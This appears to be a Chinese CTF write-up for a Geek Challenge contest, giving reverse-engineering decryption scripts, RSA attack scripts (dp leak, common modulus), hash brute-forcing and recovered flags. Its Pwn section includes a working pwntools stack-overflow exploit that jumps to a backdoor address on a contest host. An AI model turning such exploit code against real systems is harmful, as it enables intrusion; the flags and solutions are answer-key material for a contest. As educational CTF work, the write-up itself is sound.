 ​
 //
    r[1] = 0   r[2] = 25
 //
 ​
 7 :   r[0] = Str[r[1]]
 8 :   r[3] = r[0]
 9 :   r[0] = 83
 11 :   r[0] += r[3]
 12 :   v2 = r[0]
 _sp += 1
 stack[_sp] = v2
 13 :   r[0] = 89
 15 :   r[3] = r[0]
 16 :   r[0] = stack[--_sp]
 17 :   r[0] -= r[3]
 //
        push Str[0] + 83 -89
 //
 18 :   r[3] = r[0]
 19 :   r[0] = 67
 21 :   r[0] = ~(67 & r[3]) & ~(~r[3] & ~67) //等价于异或操作
 22 :   v2 = r[0]
 _sp += 1
 stack[_sp] = v2
 //
    push (Str[0] +83 - 89) ^ 67           #83=S   89=Y   67=C
 //
 23 :   r[0] = r[1]
 24 :   r[0] += 1
 25 :   r[1] = r[0]
 // r[1] = 1
 26 :   r[0] = 99
 28 :   r[3] = r[0]
 29 :   r[0] = Str[r[1]]
 30 :   r[0] = ~(r[0] & r[3]) & ~(~r[3] & ~r[0])
 //
    Str[1] ^ 99
 //
 31 :   r[3] = r[0]
 32 :   r[0] = 121
 34 :   r[0] += r[3]
 35 :   v2 = r[0]
 _sp += 1
 stack[_sp] = v2
 //
    push   (Str[1] ^ 99) + 121                   #99=c   121=y   115=s
 //
 36 :   r[0] = 115
 38 :   r[3] = r[0]
 39 :   r[0] = stack[--_sp]
 40 :   r[0] -= r[3]
 41 :   v2 = r[0]
 _sp += 1
 stack[_sp] = v2
 //
    push   (Str[1] ^ 99) + 121 - 115
 //
 42 :   r[0] = r[1]
 43 :   r[0] += 1
 44 :   r[1] = r[0]
 // r[1]=2 处理下一位
 45 :   jz? 38 //?
 47 :   r[0] = 49
 49 :   r[1] = r[0]
 50 :   r[0] = 50
 52 :   r[2] = r[0]
 53 :   r[0] = enc[r[1]]
 54 :   r[3] = r[0]
 55 :   r[0] = stack[--_sp]
 56 :   if r[0] != r[3] : r[4]=1 r[1]--
 //
    cmp enc[49],Str[50]     其实就是比较
 //
 57 :   jz? 4

有些地方逻辑不是很清晰,但是不影响解题。

加密为

奇数位:enc[1] = (Str[1] ^ 99) + 121 - 115

偶数位:enc[0] = (Str[0] +83 - 89) ^ 67

加密逻辑简单,写个解密脚本

 #include <stdio.h>
 ​
 int main() {
     unsigned char enc[64] = {
         0x0E, 0x40, 0x7E, 0x1E, 0x13, 0x34, 0x1A, 0x17, 0x6E, 0x1B, 0x1C, 0x17, 0x2E, 0x0C, 0x1A, 0x30,
         0x69, 0x32, 0x26, 0x16, 0x1A, 0x15, 0x25, 0x0E, 0x1C, 0x42, 0x30, 0x32, 0x0B, 0x42, 0x79, 0x17,
         0x6E, 0x42, 0x29, 0x17, 0x6E, 0x5A, 0x2D, 0x20, 0x1A, 0x16, 0x26, 0x10, 0x05, 0x15, 0x6E, 0x0D,
         0x58, 0x24
    };
     char flag[51] = {0};
     
     for(int i = 0; i < 25; ++i) {
         flag[2*i]     = (char)((enc[2*i] ^ 67) + 89 - 83);
         flag[2*i + 1] = (char)((enc[2*i + 1] + 115 - 121) ^ 99);
    }
     flag[50] = '\0';
     
     printf("%s", flag);
 }
 //SYC{VM_r3verse_I0Oks_llke_yON_@r3_pr37ty_skiLl3d!}

DH爱喝茶

image-20250327185028571

简单jz\jnz花指令,去化花后

主要处理

解密脚本

 from Crypto.Util.number import long_to_bytes
 ​
 def rol4(value, shift=6):
     return ((value << shift) & 0xFFFFFFFF) | (value >> (32 - shift))
 ​
 def ror4(value, shift=6):
     return ((value >> shift) | (value << (32 - shift))) & 0xFFFFFFFF
 ​
 def decrypt(v, k):
     v0 = v[0]
     v1 = v[1]
     delta = ((k[0] ^ k[1]) & 0xFF) + 0x98765432
     x = (delta * 32) & 0xFFFFFFFF
     for i in range(32):
         v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + x) ^ ((v0 >> 5) + k[3]))) & 0xFFFFFFFF
         v0 = (v0 - (((v1 << 4) + k[0]) ^ (v1 + x) ^ ((v1 >> 5) + k[1]))) & 0xFFFFFFFF
         x = (x - delta) & 0xFFFFFFFF
     return [v0, v1]
 ​
 if __name__ == "__main__":
     key = [0x56789ABC, 0x6789ABCD, 0x789ABCDE, 0x89ABCDEF]
 ​
     key = [rol4(k) for k in key]
 ​
     encrypted = [
         0x1F85A965, 0xEEC063EC,
         0x5BF1D0B6, 0xF2FDE7B0,
         0xAA38809A, 0x670772E9,
         0x360D24B9, 0xE98C688C
    ]
 ​
     flag = b""
     for i in range(len(encrypted) // 2 - 1, -1, -1):
         block = encrypted[2 * i:2 * (i + 1)]
         dec_block = decrypt(block, key)
         key[i] = ror4(key[i])
         # 将解密后的两个整数转换为4字节数据,注意指定长度为4,并反转字节顺序
         block_bytes = long_to_bytes(dec_block[0], 4)[::-1] + long_to_bytes(dec_block[1], 4)[::-1]
         flag = block_bytes + flag  # 前面解密的块放在后面,保持顺序
     print(flag)
 ​

玩就行了

CE修改

image-20250327193238898

额,但是没找到,后面发现目录下多了个Data.txt,再用010提取出exe

最终脚本

 enc = '0A161230300C2D0A2B303D2428233005242C2D26182206233E097F133A'
 enc_list = list(enc)
 encA = []
 for i in range(0, len(enc_list), 2):
     encA.append(int(''.join(enc_list[i:i+2]), 16))  # 合并两个字符转换为十六进制数
 ​
 key = 'GEEK'
 encB = []
 for idx, val in enumerate(encA):
     encB.append(val ^ ord(key[idx % len(key)]))  # 异或解密
 ​
 flag = ''
 R = 20
 for i in encB:
     # 凯撒密码解密(需用减法)
     if 65 <= i <= 90:  # 大写字母
         flag += chr((i - 65 - R) % 26 + 65)
     elif 97 <= i <= 122:  # 小写字母
         flag += chr((i - 97 - R) % 26 + 97)
     elif 48 <= i <= 57:  # 数字
         flag += chr((i - 48 - R) % 10 + 48)
     else:
         flag += chr(i)
 ​
 print(flag)  # 输出:SYC{cOnGraduulaTions_mIneR:D}

我勒个z3啊

首先z3解密,提取buf

 from z3 import *
 ​
 cmp = [
     0x19B, 0x113, 0x189, 0x1C9,
     0x250, 0x536, 0x4DE, 0x1BC,
     0x41B, 0x724, 0x6D0, 0x4A1,
     0x645, 0x475, 0x4CA, 0x68C,
     0x3E5, 0x1C7, 0x33D, 0x5B7,
     0x28D, 0x244, 0x30E, 0x291,
     0x271, 0x301, 0x45F, 0x46F,
     0x517, 0x41E, 0x426, 0x4B5
 ]
 ​
 ​
 solver = Solver()
 ​
 ​
 vars = [Int(f'x{i}') for i in range(32)]
 ​
 ​
 for i in range(0, 32, 4):
     v0, v1, v2, v3 = vars[i], vars[i + 1], vars[i + 2], vars[i + 3]
 ​
     solver.add(v0 + 8 * v1 + 6 * v2 + v3 == cmp[i])
     solver.add(v1 + 8 * v2 + 6 * v3 + v0 == cmp[i + 1])
     solver.add(v2 + 8 * v3 + 6 * v0 + v1 == cmp[i + 2])
     solver.add(v3 + 8 * v0 + 6 * v1 + v2 == cmp[i + 3])
 ​
 if solver.check() == sat:
     model = solver.model()
 ​
     solution = [model[vars[i]].as_long() for i in range(32)]
     print("Found solution:", solution)
 ​
 else:
     print("No solution found")
     
 #Found solution: [23, 40, 7, 26, 29, 3, 69, 125, 111, 9, 125, 118, 99, 126, 74, 54, 112, 89, 28, 5, 25, 63, 9, 70, 111, 26, 43, 48, 58, 102, 60, 69]
 ​

解密,得到密钥v4:Geek___Challenge

image-20250328104444582
 t='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ?_'
 str2 = [0x2A, 0x0E, 0x0E, 0x14, 0x3F, 0x3F, 0x3F, 0x26, 0x11, 0x0A, 0x15, 0x15, 0x0E, 0x17, 0x10, 0x0E]
 key=''.join([t[k] for k in str2])
 print(key)

之后利用key、buf逆解密

image-20250328104548191
 key = 'Geek___Challenge'
 buf = [23, 40, 7, 26, 29, 3, 69, 125, 111, 9, 125, 118, 99, 126, 74, 54, 112, 89, 28, 5, 25, 63, 9, 70, 111, 26, 43, 48, 58, 102, 60, 69]
 flag = ''
 for i in range(len(buf)-1, -1, -1):
   buf[i] ^= ord(key[(47 - i) % 16]) ^ i
   buf[i] ^= buf[(len(buf) + i - 1) % len(buf)]
 ​
 for i in range(8):
   tmp1 = buf[4 * i: 4 * i + 4]
   if isinstance(tmp1, list):
     tmp1 = ''.join([chr(b) for b in tmp1])
   elif isinstance(tmp1, bytes):
     tmp1 = tmp1.decode('latin-1')
   for _ in range(i):
     if len(tmp1) == 4:
       tmp1 = tmp1[-1] + tmp1[:-1]
   flag += tmp1
 print("Final Flag:", flag)
 #Final Flag: SYC{Wow!!_Y0u_4r3_9o0d_At_r3$!!}
 ​

好像是python?

用010查看,额,看的不是很明白,丢给AI问问

image-20250327200326386

答案错的,但是没关系,过程没错,改改就好了

 import hashlib
 ​
 ​
 #预设数据,根据反汇编得到
 num = [-1, -36, 26, -5, 14, 41, 6, -9, 60, 29, -28, 17, 21, 7, 35, 38, 26, 48]
 key = "SYC"
 # 根据反汇编常数计算得到的 r 值
 r = 14
 ​
 # 第一步:根据 test2 的逆运算还原出 cipher1
 cipher1 = ""
 for i in range(len(num)):
     # 根据公式:ord(cipher1[i]) = (num[i] + ord(key[i % 3])) XOR i
     val = (num[i] + ord(key[i % 3])) ^ i
     cipher1 += chr(val)
 ​
 print("Recovered cipher1 (Caesar后的结果):", cipher1)
 ​
 # 第二步:逆向 Caesar 密码,恢复原始输入
 def caesar_decrypt(ch, shift):
     if 'A' <= ch <= 'Z':
         return chr((ord(ch) - ord('A') - shift) % 26 + ord('A'))
     elif 'a' <= ch <= 'z':
         return chr((ord(ch) - ord('a') - shift) % 26 + ord('a'))
     elif '0' <= ch <= '9':
         return chr((ord(ch) - ord('0') - shift) % 10 + ord('0'))
     else:
         return ch
 ​
 # 对 cipher1 中每个字符做逆向轮换
 input0 = "".join(caesar_decrypt(ch, r) for ch in cipher1)
 print("Recovered original input:", input0)
 md5 = hashlib.md5(bytes(input0.encode())).hexdigest()
 print('flag:SYC{'+md5+'}')
 #SYC{ed798fdd74e5c382b9c7fcca88500aca}

Pwn

简单的签到

根据时间生成两个数,求输入为两数相乘。解题脚本如下:

 from pwn import *
 ​
 io = remote('nc1.ctfplus.cn', 29308)
 ​
 io.recvuntil(b'press the Enter key to start')
 io.sendline(b'')
 ​
 try:
     # 循环处理每个数学问题
     while True:
         # 接收直到等号出现,获取问题字符串
         problem = io.recvuntil(b'=').decode().strip()
         # 打印问题以调试
         print(f"Received problem: {problem}")
         # 提取两个乘数
         # 使用正则表达式提取数字
         import re
         numbers = re.findall(r'\d+', problem)
         if len(numbers) < 2:
             print("Failed to extract two numbers from the problem.")
             break
         num1 = int(numbers[0])
         num2 = int(numbers[1])
         # 计算乘积
         product = num1 * num2
         # 发送答案
         io.sendline(str(product).encode())
         # 打印答案以调试
         print(f"Sent answer: {product}")
         # 接收服务器的响应
         response = io.recvline().decode().strip()
         print(f"Server response: {response}")
         if "Correct! Opening shell..." in response:
             print("Challenge passed! Attempting to interact with the shell...")
             break
 except EOFError:
     # 当连接关闭时,接收所有剩余输出
     pass
 ​
 ​
 if io.connected():
     print("Interacting with the shell...")
     io.interactive()
 else:
     print("Connection closed.")
 ​
 print(io.recvall().decode())
 ​

你会栈溢出吗

基础栈溢出。

64位所以0xc+8,后门函数地址0x40073D

 from pwn import *
 ​
 context(arch='amd64', os='linux', endian='little', word_size=64)
 ​
 #io = process('./stackover')
 io = remote('nc1.ctfplus.cn', 18851)
 ​
 payload = b'a' * (0xc + 8) + p64(0x40073D)
 io.sendline(payload)
 ​
 io.interactive()
 ​

Crypto

凯撒加密

直接上脚本破解

image-20250304103322108

X0R

通过穷尽key的值破解(一开始数字加字母还没破解出,最后还是扩大字典范围) 附上脚本

 import itertools
 import string
 from pwn import xor
 from Crypto.Util.number import long_to_bytes
 ​
 # 假设 enc 为已知的加密数据(长整数形式),请替换为实际值
 enc = 0x123456789abcdef  # 示例值
 ​
 # 生成包含空格、数字、字母、标点符号等所有ASCII字符(32~126)
 chars = ''.join(chr(i) for i in range(32, 127))
 ​
 # 遍历所有可能的 4 字节 key
 for candidate in itertools.product(chars, repeat=4):
     key = ''.join(candidate)
     key_bytes = key.encode()
     try:
         # 解密:先将 long 类型的 enc 转换为字节串,再与 key 进行异或运算
         decrypted = xor(long_to_bytes(enc), key_bytes)
         # 检查解密结果是否以 b"SYC{" 开头
         if decrypted.startswith(b"SYC{"):
             print("找到可能的 key:", key)
             print("解密结果:", decrypted)
             break
     except Exception as e:
         # 出现异常(例如转换错误)时跳过该 key
         continue
 ​

nc

连接后,发现动态生成sha256,但是只有前面四个字符未知

没啥好讲的,写个暴力破解脚本

 import hashlib
 import itertools
 import string
 ​
 # 目标哈希值
 target_hash = "9a938c33b911fee3f73a80a9c792ce6897d87d1645cf3d458fe514aaec0efd5d"
 # 已知后缀
 suffix = "Mjo12pgcS7c8kKdA"
 ​
 # 定义可能的字符集(小写字母、大写字母和数字)
 charset = string.ascii_letters + string.digits
 ​
 ​
 # 暴力破解函数
 def brute_force_sha256(suffix, target_hash, length=4):
     print("[*] Starting brute-force attack...")
     # 使用 itertools.product 生成所有可能的组合
     for attempt in itertools.product(charset, repeat=length):
         attempt_str = ''.join(attempt)  # 将字符元组转换为字符串
         input_str = attempt_str + suffix  # 拼接字符串
         hash_object = hashlib.sha256(input_str.encode('utf-8'))  # 计算 SHA-256 哈希值
         hash_hex = hash_object.hexdigest()
 ​
         # 检查哈希值是否匹配
         if hash_hex == target_hash:
             print(f"[+] Found match: {attempt_str}")
             return attempt_str
 ​
     print("[-] No match found.")
     return None
 ​
 ​
 # 开始暴力破解
 result = brute_force_sha256(suffix, target_hash)
 if result:
     print(f"[+] The correct string is: {result}")
 else:
     print("[-] Failed to find the correct string.")
image-20250304104532397
image-20250304104539415

之后可得flag。

RSA

直接上脚本

 """
    RSA中的关键参数:
        两个大质数:p、q
        模数:n = pxq
        欧拉数 N = (p-1)x(q-1)
        公钥指数 e :满足1<𝑒<N且e与N互质。通常e选择为 65537,因为它是一个质数且可以提高加密速度
        私钥指数 d :d满足d×e−1=k×N
 """
 ​
 from Crypto.Util.number import long_to_bytes
 ​
 def extended_gcd(a, b):
     if a == 0:
         return b, 0, 1
     gcd, x1, y1 = extended_gcd(b % a, a)
     x = y1 - (b // a) * x1
     y = x1
     return gcd, x, y
 ​
 ​
 def mod_inverse(e, phi):
     gcd, x, _ = extended_gcd(e, phi)
     if gcd != 1:
         raise ValueError("No modular inverse exists")
     else:
         return x % phi
 ​
 ​
 # 给定的值
 p = 192173332221883349384646293941837353967
 q = 172282016556631997385463935089230918399
 e = 65537
 ​
 # 计算 N 和 φ(N)
 N = p * q
 phi_N = (p - 1) * (q - 1)
 ​
 # 计算私钥指数 d
 d = mod_inverse(e, phi_N)
 ​
 print(f"Private key exponent d is: {d}")
 ​
 ​
 c = 5366332878961364744687912786162467698377615956518615197391990327680664213847
 ​
 # 计算明文
 m = pow(c, d, N)  # 使用内置的 pow 函数计算 (c^d) % n
 ​
 print(long_to_bytes(m))
 ​
 ​
image-20250304105140258

dp

 from Crypto.Util.number import long_to_bytes
 ​
 def rsa_dp_leak_attack(n, e, c, dp):
     """
    RSA dp泄露攻击
    原理: 已知 dp = d mod (p-1), 遍历k值计算可能的p候选值
    """
     for k in range(1, e + 1):
         # 计算可能的p值
         p_maybe = (e * dp - 1) // k + 1
         if p_maybe <= 1:
             continue
         # 检查p是否能整除n
         if n % p_maybe == 0:
             p = p_maybe
             q = n // p
             # 计算私钥d
             phi = (p-1) * (q-1)
             d = pow(e, -1, phi)
             # 解密密文
             m = pow(c, d, n)
             return long_to_bytes(m)
     return None
 ​
 # 输入参数(根据题目修改以下值)
 c =  127916287434936224964530288403657504450134210781148845328357237956681373722556447001247137686758965891751380034827824922625307521221598031789165449134994998397717982461775225812413476283147124013667777578827293691666320739053915493782515447112364470583788127477537555786778672970196314874316507098162498135060
 n =  157667866005866043809675592336288962106125998780791920007920833145068421861029354497045918471672956655205541928071253023208751202980457919399456984628429198438149779785543371372206661553180051432786094530268099696823142821724314197245158942206348670703497441629288741715352106143317909146546420870645633338871
 e =  65537
 dp =  2509050304161548479367108202753097217949816106531036020623500808413533337006939302155166063392071003278307018323129989037561756887882853296553118973548769
 ​
 # 执行攻击
 flag = rsa_dp_leak_attack(n, e, c, dp)
 ​
 if flag:
     print("[+] 解密成功!")
     print("Flag:", flag.decode())
 else:
     print("[-] 未找到有效解,请检查输入参数")

问Ai写的脚本 image-20250304105411349

共模攻击

 from Crypto.Util.number import long_to_bytes
 import gmpy2
 ​
 ​
 def rsa_common_modulus_attack(n, e1, c1, e2, c2):
     """
    RSA 共模攻击
    条件: 相同明文m,被两组公钥 (n, e1) 和 (n, e2) 加密,且 e1 和 e2 互质
    原理: 扩展欧几里得算法找到 a*e1 + b*e2 = 1,计算 m = (c1^a * c2^b) mod n
    """
     # 计算 a 和 b,使得 a*e1 + b*e2 = 1
     gcd, a, b = gmpy2.gcdext(e1, e2)
     if gcd != 1:
         return None  # e1和e2必须互质
 ​
     # 处理负数指数:转换为模逆元运算
     if a < 0:
         c1 = gmpy2.invert(c1, n)
         a = abs(a)
     if b < 0:
         c2 = gmpy2.invert(c2, n)
         b = abs(b)
 ​
     # 计算 m = (c1^a * c2^b) mod n
     m1 = pow(c1, a, n)
     m2 = pow(c2, b, n)
     m = (m1 * m2) % n
     return long_to_bytes(m)
 ​
 ​
 # 示例输入(根据题目修改以下值)
 n = 19742875423645690846073637620470497648804310111201409901059297083827103813674034450200432098143959078292346910591785265323563248781526393718834491458926162514713269984791730816121181307827624489725923763353393879316510062227511469438742429290073999388690825732236465647396755899136346150862848924231619666069528077790933176798057396704758072769660663756346237040909579775389576227450505746914753205890194457812893098491264392293949768193694560954874603451253079446652049592976605414438411872223250039782381259212718733455588477129910357095186014496957765297934289263536712574572533650393220492870445376144568199077767
 e1 = 911
 e2 = 967
 c1 = 18676091924461946809127036439355116782539894105245796626898495935702348484076501694838877829307466429933623102626122909782775514926293363853121828819237500456062111805212209491398720528499589486241208820804465599279152640624618194425740368495072591471531868392274503936869225072123214869399971636428177516761675388589238329574042518038702529606188240859751459632643230538522947412931990009143731829484941397093509641320264169403755707495153433568106934850283614529793695266717330769019091782929139589939928210818515744604847453929432990185347112319971445630830477574679898503825626294542336195240055995445217249602983
 c2 = 4229417863231092939788858229435938841085459330992709019823280977891432565586698228613770964563920779991584732527715378842621171338649745186081520176123907689669636473919678398014317024138622949923292787095400632018991311254591786179660603414693984024161009444842277220189315861986306573182865656366278782315864366857374874763243428496061153290565891942968876789905670073321426112497113145141539289020571684634406829272902118484670099097148727072718299512735637087933649345419433312872607209633402427461708181971718804026293074540519907755129917132236240606834816534369171888633588190859475764799895410284484045429152
 ​
 # 执行攻击
 plaintext = rsa_common_modulus_attack(n, e1, c1, e2, c2)
 ​
 if plaintext:
     print("[+] 共模攻击成功!")
     print("明文:", plaintext.decode())
 else:
     print("[-] 攻击失败,检查e1和e2是否互质")
image-20250304105538893

Web

100%的⚪

image-20250303191236688

看着是前端验证,直接看源码

image-20250303191332865

base64解密得flag:SYC{5UcH@Wo0d3rfUl_CiRc1e}


Misc

2024 geek challenge!签到

没啥好说的,关注公众号签到。